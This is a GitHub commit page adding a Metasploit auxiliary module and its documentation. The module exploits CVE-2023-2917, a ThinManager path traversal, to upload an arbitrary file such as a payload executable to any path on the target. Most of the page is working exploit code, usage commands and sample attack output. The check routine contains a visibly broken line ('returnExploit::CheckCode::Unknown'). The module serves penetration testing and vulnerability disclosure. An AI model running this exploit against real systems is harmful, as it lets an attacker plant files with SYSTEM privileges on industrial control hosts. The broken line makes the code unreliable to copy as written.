Skip to content

Commit 60668f3

Browse files
committed
1 parent 8634876 commit 60668f3

File tree

2 files changed

+220
-0
lines changed

2 files changed

+220
-0
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
## Vulnerable Application
2+
3+
This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2917) to upload an arbitrary file to the target
4+
system.
5+
6+
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
7+
8+
## Testing
9+
10+
The software can be obtained from
11+
[the vendor](https://thinmanager.com/downloads/).
12+
13+
**Successfully tested on**
14+
15+
- ThinManager v13.1.0 on Windows 22H2
16+
17+
18+
## Verification Steps
19+
20+
1. Install and run the application
21+
2. Start `msfconsole` and run the following commands:
22+
23+
```
24+
msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload2
25+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RHOSTS <IP>
26+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set LFILE <local file location>
27+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RFILE <remote file location>
28+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
29+
```
30+
31+
This should upload the local file specified through LFILE to the server, as specified in RFILE.
32+
33+
## Options
34+
35+
### LFILE
36+
Specifies the local file to upload to the remote server.
37+
38+
### RFILE
39+
Specifies the remote file location where the file will be uploaded to.
40+
41+
## Scenarios
42+
43+
Running the exploit against ThinManager v13.1.0 on Windows 22H2 should result in an output similar to the following:
44+
45+
```
46+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
47+
[*] Running module against 192.168.137.229
48+
49+
[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
50+
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
51+
[*] 192.168.137.229:2031 - Sending handshake...
52+
[*] 192.168.137.229:2031 - Received handshake response.
53+
[*] 192.168.137.229:2031 - Read 27648 bytes from /tmp/payload.exe
54+
[*] 192.168.137.229:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
55+
[*] 192.168.137.229:2031 - Upload request length: 27752 bytes
56+
[!] 192.168.137.229:2031 - No response received after upload.
57+
[+] 192.168.137.229:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
58+
[*] Auxiliary module execution completed
59+
```
Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::Tcp
8+
include Msf::Auxiliary::Report
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
CheckCode = Exploit::CheckCode
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'ThinManager Path Traversal (CVE-2023-2917) Arbitrary File Upload',
17+
'Description' => %q{
18+
This module exploits a path traversal vulnerability (CVE-2023-2917) in ThinManager <= v13.1.0 to upload arbitrary files to the target system.
19+
20+
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
21+
},
22+
'Author' => [
23+
'Michael Heinzl', # MSF Module
24+
'Tenable' # Discovery and PoC
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' => [
28+
['CVE', '2023-2917 '],
29+
['URL', 'https://www.tenable.com/security/research/tra-2023-28'],
30+
['URL', 'https://support.rockwellautomation.com/app/answers/answer_view/a_id/1140471']
31+
],
32+
'DisclosureDate' => '2023-08-17',
33+
'DefaultOptions' => {
34+
'RPORT' => 2031,
35+
'SSL' => 'False'
36+
},
37+
'Notes' => {
38+
'Stability' => [CRASH_SAFE],
39+
'Reliability' => [],
40+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
41+
}
42+
)
43+
)
44+
45+
register_options(
46+
[
47+
OptString.new('LFILE', [false, 'The local file to transfer to the remote system.', '/tmp/payload.exe']),
48+
OptString.new('RFILE', [false, 'The file path to store the file on the remote system.', '/Program Files/Rockwell Software/ThinManager/payload.exe']),
49+
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])
50+
]
51+
)
52+
end
53+
54+
def check
55+
begin
56+
connect
57+
rescue Rex::ConnectionTimeout => e
58+
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
59+
end
60+
61+
vprint_status('Sending handshake...')
62+
handshake = [0x100].pack('V')
63+
vprint_status(Rex::Text.to_hex_dump(handshake))
64+
sock.put(handshake)
65+
66+
res = sock.get_once(4096, 5)
67+
expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b
68+
69+
if res && res.start_with?(expected_header)
70+
vprint_status('Received handshake response.')
71+
vprint_status(Rex::Text.to_hex_dump(res))
72+
disconnect
73+
return CheckCode::Detected
74+
elsif res
75+
vprint_status('Received unexpected handshake response:')
76+
vprint_status(Rex::Text.to_hex_dump(res))
77+
disconnect
78+
return Exploit::CheckCode::Safe
79+
else
80+
disconnect
81+
returnExploit::CheckCode::Unknown('No handshake response received.')
82+
end
83+
end
84+
85+
def mk_msg(msg_type, flags, data)
86+
dlen = data.length
87+
hdr = [msg_type, flags, dlen].pack('nnN')
88+
hdr + data
89+
end
90+
91+
def run
92+
begin
93+
connect
94+
rescue Rex::ConnectionTimeout => e
95+
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
96+
end
97+
98+
print_status('Sending handshake...')
99+
handshake = [0x100].pack('V')
100+
vprint_status(Rex::Text.to_hex_dump(handshake))
101+
sock.put(handshake)
102+
103+
res = sock.get_once(4096, 5)
104+
if res
105+
print_status('Received handshake response.')
106+
vprint_status(Rex::Text.to_hex_dump(res))
107+
else
108+
print_error('No handshake response received.')
109+
end
110+
111+
lfile = datastore['LFILE']
112+
rfile = datastore['RFILE']
113+
file_data = ::File.binread(lfile)
114+
print_status("Read #{file_data.length} bytes from #{lfile}")
115+
116+
traversal = '../' * datastore['DEPTH']
117+
118+
full_path = (traversal + rfile).force_encoding('ASCII-8BIT')
119+
file_data.force_encoding('ASCII-8BIT')
120+
121+
begin
122+
data = [0xaa].pack('N')
123+
data << [0xbb].pack('N')
124+
data << full_path + "\x00"
125+
data << "file_type\x00"
126+
data << "unk_str3\x00"
127+
data << "unk_str4\x00"
128+
data << [file_data.length].pack('N')
129+
data << [file_data.length].pack('N')
130+
data << file_data
131+
data.force_encoding('ASCII-8BIT')
132+
133+
req = mk_msg(38, 0x0021, data)
134+
rescue StandardError => e
135+
fail_with(Failure::BadConfig, "Failed to build upload request: #{e.class} - #{e.message}")
136+
end
137+
138+
print_status("Uploading #{lfile} as #{rfile} on the remote host...")
139+
140+
print_status("Upload request length: #{req.length} bytes")
141+
vprint_status("Upload request:\n#{Rex::Text.to_hex_dump(req)}")
142+
143+
sock.put(req)
144+
145+
begin
146+
res = sock.get_once(4096, 5)
147+
if res
148+
print_good('Received response from target:')
149+
vprint_status(Rex::Text.to_hex_dump(res))
150+
else
151+
print_warning('No response received after upload.')
152+
end
153+
rescue ::EOFError, ::Timeout::Error => e
154+
print_error("Socket error: #{e.class} - #{e.message}")
155+
end
156+
157+
disconnect
158+
print_good("Upload process completed. Check if '#{rfile}' exists on the target.")
159+
end
160+
161+
end

0 commit comments

Comments
 (0)